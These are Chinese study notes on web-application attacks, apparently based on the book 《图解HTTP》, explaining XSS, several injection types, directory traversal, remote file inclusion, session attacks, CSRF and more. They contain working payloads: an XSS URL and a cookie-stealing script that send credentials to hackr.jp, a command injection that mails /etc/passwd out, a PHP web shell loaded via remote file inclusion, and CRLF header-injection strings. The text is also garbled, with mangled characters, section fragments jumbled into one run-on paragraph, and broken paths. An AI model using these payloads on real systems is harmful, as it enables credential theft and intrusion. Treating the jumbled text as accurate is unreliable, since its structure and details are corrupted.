嗯......→_→基本為《圖解http》筆記
導(dǎo)言:
簡(jiǎn)單的HTTP協(xié)議本身并不存在安全性問題,因此協(xié)議本身幾乎不會(huì)成為攻擊的對(duì)象。應(yīng)用HTTP協(xié)議的服務(wù)器和客戶端,以及運(yùn)行在服務(wù)器上的Web應(yīng)用等資源才是攻擊目標(biāo)。本文主要針對(duì)web應(yīng)用的攻擊技術(shù)來(lái)進(jìn)行講解。
針對(duì)web應(yīng)用的攻擊模式:
- 主動(dòng)攻擊
- 被動(dòng)攻擊
主動(dòng)攻擊(active attack):
指攻擊者通過直接訪問Web應(yīng)用,把攻擊代碼傳入的攻擊模式。由于該模式是直接針對(duì)服務(wù)器上的資源進(jìn)行攻擊,因此攻擊者需要能夠訪問到那些資源,主動(dòng)攻擊模式里具有代表性的攻擊是SQL注入攻擊和OS命令注入攻擊
被動(dòng)攻擊(passive attack):
指利用圈套策略執(zhí)行攻擊代碼的攻擊模式。在被動(dòng)攻擊過程中,攻擊者不直接對(duì)目標(biāo)Web應(yīng)用訪問發(fā)起攻擊
被動(dòng)攻擊通常的攻擊模式步驟如下所示:
- 攻擊者誘使用戶觸發(fā)已設(shè)置好的陷阱,而陷阱會(huì)啟動(dòng)發(fā)送已嵌入攻擊代碼的HTTP請(qǐng)求
- 當(dāng)用戶不知不覺中招之后,用戶的瀏覽器或郵件客戶端就會(huì)觸發(fā)這個(gè)陷阱
- 中招后的用戶瀏覽器會(huì)把含有攻擊代碼的HTTP請(qǐng)求發(fā)送給作為攻擊目標(biāo)的Web應(yīng)用,運(yùn)行攻擊代碼
- 執(zhí)行完攻擊代碼,存在安全漏洞的Web應(yīng)用會(huì)成為攻擊者的跳板,可能導(dǎo)致用戶所持的Cookie等個(gè)人信息被竊取,登錄狀態(tài)中的用戶權(quán)限遭惡意濫用等后果
被動(dòng)攻擊模式中具有代表性的攻擊是跨站腳本攻擊(XSS)和跨站點(diǎn)請(qǐng)求偽造(CSRF)
利用被動(dòng)攻擊,可發(fā)起對(duì)原本從互聯(lián)網(wǎng)上無(wú)法直接訪問的企業(yè)內(nèi)網(wǎng)等網(wǎng)絡(luò)的攻擊。
安全漏洞一:輸出值轉(zhuǎn)義不完全
保留客戶端驗(yàn)證只是為了盡早地辨識(shí)輸入錯(cuò)誤,起到提高UI體驗(yàn)的作用,從數(shù)據(jù)庫(kù)或文件系統(tǒng)、HTML、郵件等輸出Web應(yīng)用處理的數(shù)據(jù)之際,針對(duì)輸出做值轉(zhuǎn)義處理是一項(xiàng)至關(guān)重要的安全策略。當(dāng)輸出值轉(zhuǎn)義不完全時(shí),會(huì)因觸發(fā)攻擊者傳入的攻擊代碼,而給輸出對(duì)象帶來(lái)?yè)p害
攻擊方式1:跨站腳本攻擊(被動(dòng)攻擊)
跨站腳本攻擊(Cross-Site Scripting,XSS)是指通過存在安全漏洞的Web網(wǎng)站注冊(cè)用戶的瀏覽器內(nèi)運(yùn)行非法的HTML標(biāo)簽或JavaScript進(jìn)行的一種攻擊。
動(dòng)態(tài)創(chuàng)建的HTML部分有可能隱藏著安全漏洞。就這樣,攻擊者編寫腳本設(shè)下陷阱,用戶在自己的瀏覽器上運(yùn)行時(shí),一不小心就會(huì)受到被動(dòng)攻擊。

下圖網(wǎng)站通過地址欄中URI的查詢字段指定ID,即相當(dāng)于在表單內(nèi)自動(dòng)填寫字符串的功能。而就在這個(gè)地方,隱藏著可執(zhí)行跨站腳本攻擊的漏洞

充分熟知此處漏洞特點(diǎn)的攻擊者,于是就創(chuàng)建了下面這段嵌入惡意代碼的URL。并隱藏植入事先準(zhǔn)備好的欺詐郵件中或Web頁(yè)面內(nèi),誘使用戶去點(diǎn)擊該URL
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="瀏覽器打開該URI后,直觀感覺沒有發(fā)生任何變化,但設(shè)置好的腳本卻偷偷開始運(yùn)行了。當(dāng)用戶在表單內(nèi)輸入ID和密碼之后,就會(huì)直接發(fā)送到攻擊者的網(wǎng)站(也就是hackr.jp),導(dǎo)致個(gè)人登錄信息被竊取

除了在表單中設(shè)下圈套之外,下面那種惡意構(gòu)造的腳本同樣能夠以跨站腳本攻擊的方式,竊取到用戶的Cookie信息
<script src=http://hackr.jp/xss.js></script>js文件代碼為
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

攻擊方式2:SQL注入攻擊
SQL注入(SQL Injection)是指針對(duì)Web應(yīng)用使用的數(shù)據(jù)庫(kù),通過運(yùn)行非法的SQL而產(chǎn)生的攻擊。該安全隱患有可能引發(fā)極大的威脅,有時(shí)會(huì)直接導(dǎo)致個(gè)人信息及機(jī)密信息的泄露
攻擊方式3:OS命令注入攻擊
OS命令注入攻擊(OS Command Injection)是指通過Web應(yīng)用,執(zhí)行非法的操作系統(tǒng)命令達(dá)到攻擊的目的。只要在能調(diào)用Shell函數(shù)的地方就有存在被攻擊的風(fēng)險(xiǎn),也就是說(shuō),通過OS注入攻擊可執(zhí)行OS上安裝著的各種程序。

my $adr = $q->param('mailaddress');
open(MAIL, "| usrsbin/sendmail $adr");
print MAIL "From: info@example.com\n"
程序中的open函數(shù)會(huì)調(diào)用sendmail命令發(fā)送郵件,而指定的郵件發(fā)送地址即$adr的值
攻擊者將下面的值指定作為郵件地址
;cat /etc/passwd | mail hack@example.jp
程序接收該值,構(gòu)成以下的命令組合
| usrsbin/sendmail ; cat /etc/passwd | mail hack@example.jp
攻擊者的輸入值中含有分號(hào)(;)。這個(gè)符號(hào)在OS命令中,會(huì)被解析為分隔多個(gè)執(zhí)行命令的標(biāo)記
可見,sendmail命令執(zhí)行被分隔后,接下去就會(huì)執(zhí)行 cat etcpasswd | mail hack@example.jp這樣的命令了。結(jié)果,含有Linux賬戶信息etcpasswd的文件,就以郵件形式發(fā)送給了hack@example.jp
攻擊方式4:HTTP首部注入攻擊
HTTP首部注入攻擊(HTTPHeader Injection)是指攻擊者通過在響應(yīng)首部字段內(nèi)插入換行,添加任意響應(yīng)首部或主體的一種攻擊。屬于被動(dòng)攻擊模式
向首部主體內(nèi)添加內(nèi)容的攻擊稱為HTTP響應(yīng)截?cái)喙?HTTPResponse Splitting Attack)

101%0D%0ASet-Cookie:+SID=123456789其中,%0D%0A代表HTTP報(bào)文中的換行符,緊接著的是可強(qiáng)制將攻擊者網(wǎng)站
http://hackr.jp/的會(huì)話ID設(shè)置成SID=123456789的Set-Cookie首部字段。發(fā)送該請(qǐng)求之后,假設(shè)結(jié)果返回以下響應(yīng)
Location:http://example.com/?cat=101(%0D%0A:換行符)
Set-Cookie:SID=123456789
此刻,首部字段Set-Cookie已生效,因此攻擊者可指定修改任意的Cookie信息。通過和會(huì)話固定攻擊(攻擊者可使用指定的會(huì)話ID)攻擊組合,攻擊者可偽裝成用戶 在可能進(jìn)行HTTP首部注入的環(huán)節(jié),通過發(fā)送上面的字符串,返回結(jié)果得到以下這種響應(yīng) 利用這個(gè)攻擊,已觸發(fā)陷阱的用戶瀏覽器會(huì)顯示偽造的Web頁(yè)面,再讓用戶輸入自己的個(gè)人信息等,可達(dá)到和跨站腳本攻擊相同的效果 下面以Web頁(yè)面中的咨詢表單為例講解郵件首部注入攻擊。該功能可在表單內(nèi)填入咨詢者的郵件地址及咨詢內(nèi)容后,以郵件的形式發(fā)送給網(wǎng)站管理員 目錄遍歷(Directory Traversal)攻擊是指對(duì)本無(wú)意公開的文件目錄,通過非法截?cái)嗥淠夸浡窂胶螅_(dá)成訪問目的的一種攻擊。這種攻擊有時(shí)也稱為路徑遍歷(Path Traversal)攻擊 , 固然存在輸出值轉(zhuǎn)義的問題,但更應(yīng)該關(guān)閉指定對(duì)任意文件名的訪問權(quán)限 遠(yuǎn)程文件包含漏洞(Remote File Inclusion)是指當(dāng)部分腳本內(nèi)容需要從其他文件讀入時(shí),攻擊者利用指定外部服務(wù)器的URL充當(dāng)依賴文件,讓腳本讀取之后,就可運(yùn)行任意腳本的一種攻擊 , 主要是PHP存在的安全漏洞 , 固然存在輸出值轉(zhuǎn)義的問題,但更應(yīng)控制對(duì)任意文件名的指定 攻擊者指定如同下面形式的URL發(fā)出請(qǐng)求 指錯(cuò)誤設(shè)置web服務(wù)器,或是由設(shè)計(jì)上的一些問題引發(fā)的安全漏洞 對(duì)那些原本不愿公開的文件,為了保證安全會(huì)隱蔽其URL??梢坏┲懒四切︰RL,也就意味著可瀏覽URL對(duì)應(yīng)的文件。直接顯示容易推測(cè)的文件名或文件目錄索引時(shí),通過某些方法可能會(huì)使URL產(chǎn)生泄露 簡(jiǎn)而言之 , 這個(gè)說(shuō)的就是程序出錯(cuò)或者業(yè)務(wù)出錯(cuò)一般都會(huì)爆出很具體很嚴(yán)謹(jǐn)?shù)腻e(cuò)誤信息 , 但是這個(gè)信息暴露給客戶端就不太好 , 會(huì)被人利用 , 給攻擊者啟發(fā) , 我們要控制好提供給客戶端信息的度 攻擊者把重定向指定的參數(shù)改寫成已設(shè)好陷阱的Web網(wǎng)站對(duì)應(yīng)的連接,如下所示 會(huì)話管理是用來(lái)管理用戶狀態(tài)的必備功能,但是如果在會(huì)話管理上有所疏忽,就會(huì)導(dǎo)致用戶的認(rèn)證狀態(tài)被竊取等后果 列舉幾種攻擊者可獲得會(huì)話ID的途徑: 攻擊者在得知該Web網(wǎng)站存在可跨站攻擊(XSS)的安全漏洞后,就設(shè)置好用JavaScript腳本調(diào)用document.cookie以竊取Cookie信息的陷阱,一旦用戶踏入陷阱(訪問了該腳本),攻擊者就能獲取含有會(huì)話ID的Cookie 對(duì)以竊取目標(biāo)會(huì)話ID為主動(dòng)攻擊手段的會(huì)話劫持而言,會(huì)話固定攻擊(Session Fixation)攻擊會(huì)強(qiáng)制用戶使用攻擊者指定的會(huì)話ID 跨站點(diǎn)請(qǐng)求偽造(Cross-Site Request Forgeries,CSRF)攻擊是指攻擊者通過設(shè)置好的陷阱,強(qiáng)制對(duì)已完成認(rèn)證的用戶進(jìn)行非預(yù)期的個(gè)人信息或設(shè)定信息等某些狀態(tài) 更新 觸發(fā)陷阱之際,如果用戶A尚未通過認(rèn)證,則無(wú)法利用用戶A的身份權(quán)限在留言板上發(fā)表內(nèi)容 密碼破解有以下兩種手段:通過網(wǎng)絡(luò)的密碼試錯(cuò);對(duì)已加密密碼的破解(指攻擊者入侵系統(tǒng),已獲得加密或散列處理的密碼數(shù)據(jù)的情況) 密碼試錯(cuò): 對(duì)已加密密碼的破解: 通過窮舉法·字典攻擊進(jìn)行類推 彩虹表 拿到密鑰 加密算法的漏洞 點(diǎn)擊劫持(Click jack ing)是指利用透明的按鈕或鏈接做成陷阱,覆蓋在Web頁(yè)面之上。然后誘使用戶在不知情的情況下,點(diǎn)擊那個(gè)鏈接訪問內(nèi)容的一種攻擊手段。這種行為又稱為界面?zhèn)窝b(UI Redressing) DoS 攻擊(Denial of Serv ice attack)是一種讓運(yùn)行中的服務(wù)呈停止?fàn)顟B(tài)的攻擊。有時(shí)也叫做服務(wù)停止攻擊或拒絕服務(wù)攻擊。DoS攻擊的對(duì)象不僅限于Web網(wǎng)站,還包括網(wǎng)絡(luò)設(shè)備及服務(wù)器等 后門程序(Backdoor)是指開發(fā)設(shè)置的隱藏入口,可不按正常步驟使用受限功能。利用后門程序就能夠使用原本受限制的功能。
攻擊者輸入的%0D%0A,原本應(yīng)該屬于首部字段Location的查詢值部分,但經(jīng)過解析后,%0D%0A變成了換行符,結(jié)果插入了新的首部字段
這樣一來(lái),攻擊者可在響應(yīng)中插入任意的首部字段
HTTP響應(yīng)截?cái)喙?/strong>是用在HTTP首部注入的一種攻擊。攻擊順序相同,但是要將兩個(gè)%0D%0A%0D%0A并排插入字符串后發(fā)送。利用這兩個(gè)連續(xù)的換行就可作出HTTP首部與主體分隔所需的空行了,這樣就能顯示偽造的主體,達(dá)到攻擊目的。這樣的攻擊叫做HTTP響應(yīng)截?cái)喙?/p>
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要顯示的網(wǎng)頁(yè)內(nèi)容<!--
Set-Cookie: UID=(%0D%0A :換行符)
(%0D%0A :換行符)
<HTML><HEAD><TITLE>之后,想要顯示的網(wǎng)頁(yè)內(nèi)容<!--(原來(lái)頁(yè)面對(duì)應(yīng)的首部字段和主體部分全視為注釋)
另外,濫用HTTP/1.1中匯集多響應(yīng)返回功能,會(huì)導(dǎo)致緩存服務(wù)器對(duì)任意內(nèi)容進(jìn)行緩存操作。這種攻擊稱為緩存污染。使用該緩存服務(wù)器的用戶,在瀏覽遭受攻擊的網(wǎng)站時(shí),會(huì)不斷地瀏覽被替換掉的Web網(wǎng)頁(yè)攻擊方式5:郵件首部注入攻擊
bob@hackr.jp%0D%0ABcc:user@example.com
%0D%0A在郵件報(bào)文中代表?yè)Q行符。一旦咨詢表單所在的Web應(yīng)用接收了這個(gè)換行符,就可能實(shí)現(xiàn)對(duì)Bcc郵件地址的追加發(fā)送,而這原本是無(wú)法指定的
另外像下面一樣,使用兩個(gè)連續(xù)的換行符就有可能篡改郵件文本內(nèi)容并發(fā)送
bob@hackr.jp%0D%0A%0D%0ATest Message
再以相同的方法,就有可能改寫To和Subject等任意郵件首部,或向文本添加附件等動(dòng)作
攻擊方式6:目錄遍歷攻擊
下面以顯示讀取文件功能為例,講解目錄遍歷攻擊。該功能通過以下查詢字段,指定某個(gè)文件名。然后從www/log/文件目錄下讀取這個(gè)指定的文件
http://example.com/read.php?log=0401.log
攻擊者設(shè)置如下查詢字段后發(fā)出請(qǐng)求
http://example.com/read.php?log=../..etcpasswd
查詢字段為了讀取攻擊者盯上的etcpasswd文件,會(huì)從wwwlog/目錄開始定位相對(duì)路徑。如果這份read.php腳本接受對(duì)指定目錄的訪問請(qǐng)求處理,那原本不公開的文件就存在可被訪問的風(fēng)險(xiǎn)攻擊方式7:遠(yuǎn)程文件包含漏洞
下面以include讀入由查詢字段指定文件的功能為例,講解遠(yuǎn)程文件包含漏洞。該功能可通過以下查詢字段形式指定文件名,并在腳本內(nèi)的include語(yǔ)句處讀入這個(gè)指定文件
http://example.com/foo.php?mod=news.php
對(duì)應(yīng)腳本的源代碼如下所示
http://example.com/foo.php的源代碼(部分摘錄)$modname=$_GET['mod'];
include($modname);
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
攻擊者已事先在外部服務(wù)器上準(zhǔn)備了以下這段腳本
http://hackr.jp/cmd.php的源代碼
<?system($_GET['cmd'])?>
假設(shè)Web服務(wù)器(example.com)的include可以引入外部服務(wù)器的URL,那就會(huì)讀入攻擊者在外部服務(wù)器上事先準(zhǔn)備的URL(http://hackr.jp/cmd.php)。結(jié)果,通過system函數(shù)就能在Web服務(wù)器(example.com)上執(zhí)行查詢字段指定的OS命令了安全漏洞二:設(shè)置或設(shè)計(jì)上有缺陷
攻擊方式1:強(qiáng)制瀏覽
例如通過
http://www.example.com/entry/entry_081202.log
可以推出下一個(gè)文件是
http://www.example.com/entry/entry_081203.log
解決方案 : 直接通過URL訪問原本必須經(jīng)過認(rèn)證才能在Web頁(yè)面上使用的文件(HTML文件、圖片、PDF等文檔、CSS以及其他數(shù)據(jù)等)攻擊方式2:不正確的錯(cuò)誤消息處理
攻擊方式3:開放重定向
http://example.com/?redirect=http://hackr.jp
用戶看到URL后原以為訪問example.com,不料實(shí)際上被誘導(dǎo)至hackr.jp這個(gè)指定的重定向目標(biāo)
可信度高的Web網(wǎng)站如果開放重定向功能,則很有可能被攻擊者選中并用來(lái)作為釣魚攻擊的跳板安全漏洞三:會(huì)話(session)管理疏忽
攻擊方式1:會(huì)話劫持
會(huì)話劫持(Session Hijack)是指攻擊者通過某種手段拿到了用戶的會(huì)話ID,并非法使用此會(huì)話ID偽裝成用戶,達(dá)到攻擊的目的
下面我們以認(rèn)證功能為例講解會(huì)話劫持。這里的認(rèn)證功能通過會(huì)話管理機(jī) 制,會(huì)將成功認(rèn)證的用戶的會(huì)話ID(SID)保存在用戶瀏覽器的Cookie中
攻擊者拿到用戶的會(huì)話ID后,往自己的瀏覽器的Cookie中設(shè)置該會(huì)話ID,即可偽裝成會(huì)話ID遭竊的用戶,訪問Web網(wǎng)站了攻擊方式2:會(huì)話固定攻擊(被動(dòng)攻擊)
下面我們以認(rèn)證功能為例講解會(huì)話固定攻擊。這個(gè)Web網(wǎng)站的認(rèn)證功能,會(huì)在認(rèn)證前發(fā)布一個(gè)會(huì)話ID,若認(rèn)證成功,就會(huì)在服務(wù)器內(nèi)改變認(rèn)證狀態(tài)
攻擊者準(zhǔn)備陷阱,先訪問Web網(wǎng)站拿到會(huì)話ID(SID=f5d1278e8109)。此刻,會(huì)話ID在服務(wù)器上的記錄仍是(未認(rèn)證)狀態(tài)。(步驟①~②)
攻擊者設(shè)置好強(qiáng)制用戶使用該會(huì)話ID的陷阱,并等待用戶拿著這個(gè)會(huì)話ID前去認(rèn)證。一旦用戶觸發(fā)陷阱并完成認(rèn)證,會(huì)話ID(SID=f5d1278e8109)在服務(wù)器上的狀態(tài)(用戶A已認(rèn)證)就會(huì)被記錄下來(lái)。(步驟③)
攻擊者估計(jì)用戶差不多已觸發(fā)陷阱后,再利用之前這個(gè)會(huì)話ID訪問網(wǎng)站。由于該會(huì)話ID目前已是(用戶A已認(rèn)證)狀態(tài),于是攻擊者作為用戶A的身份順利登錄網(wǎng)站。(步驟④)
Session Adoption
Session Adoption是指PHP或ASP.NET能夠接收處理未知會(huì)話ID的功能
惡意使用該功能便可跳過會(huì)話固定攻擊的準(zhǔn)備階段,從Web網(wǎng)站獲得發(fā)行的會(huì)話ID的步驟。即,攻擊者可私自創(chuàng)建會(huì)話ID構(gòu)成陷阱,中間件卻會(huì)誤以為該會(huì)話ID是未知會(huì)話ID而接受
攻擊方式3:跨站點(diǎn)請(qǐng)求偽造(被動(dòng)攻擊)
跨站點(diǎn)請(qǐng)求偽造有可能會(huì)造成以下等影響:利用已通過認(rèn)證的用戶權(quán)限更新設(shè)定信息等;利用已通過認(rèn)證的用戶權(quán)限購(gòu)買商品;利用已通過認(rèn)證的用戶權(quán)限在留言板上發(fā)表言論
攻擊者設(shè)置好一旦用戶訪問,即會(huì)發(fā)送在留言板上發(fā)表非主觀行為產(chǎn)生的評(píng)論的請(qǐng)求的陷阱。用戶A的瀏覽器執(zhí)行完陷阱中的請(qǐng)求后,留言板上也就會(huì)留下那條評(píng)論(步驟②)
安全漏洞四:其他
攻擊方式1:密碼破解
除去突破認(rèn)證的攻擊手段,還有SQL注入攻擊逃避認(rèn)證,跨站腳本攻擊竊取密碼信息等方法
彩虹表(Rainbow Table)是由明文密碼及與之對(duì)應(yīng)的散列值構(gòu)成的一張數(shù)據(jù) 庫(kù)表,是一種通過事先制作龐大的彩虹表,可在窮舉法·字典攻擊等實(shí)際破解過程中縮短消耗時(shí)間的技巧。從彩虹表內(nèi)搜索散列值就可以推導(dǎo)出對(duì)應(yīng)的明文密碼。
使用共享密鑰加密方式對(duì)密碼數(shù)據(jù)進(jìn)行加密處理的情況下,如果能通過某種手段拿到加密使用的密鑰,也就可以對(duì)密碼數(shù)據(jù)解密了
考慮到加密算法本身可能存在的漏洞,利用該漏洞嘗試解密也是一種可行的方法。但是要找到那些已廣泛使用的加密算法的漏洞,又談何容易,因此困 難極大,不易成功
而Web應(yīng)用開發(fā)者獨(dú)立實(shí)現(xiàn)的加密算法,想必尚未經(jīng)過充分的驗(yàn)證,還是 很有可能存在漏洞的攻擊方式2:點(diǎn)擊劫持
攻擊方式3:Dos攻擊
主要有以下兩種DoS攻擊方式:
其中,集中利用訪問請(qǐng)求的DoS攻擊,單純來(lái)講就是發(fā)送大量的合法請(qǐng)求。服務(wù)器很難分辨何為正常請(qǐng)求,何為攻擊請(qǐng)求,因此很難防止DoS攻擊攻擊方式4:后門程序
通常的后門程序分為以下3種類型:
可通過監(jiān)視進(jìn)程和通信的狀態(tài)發(fā)現(xiàn)被植入的后門程序。但設(shè)定在Web應(yīng)用中的后門程序,由于和正常使用時(shí)區(qū)別不大,通常很難發(fā)現(xiàn)。








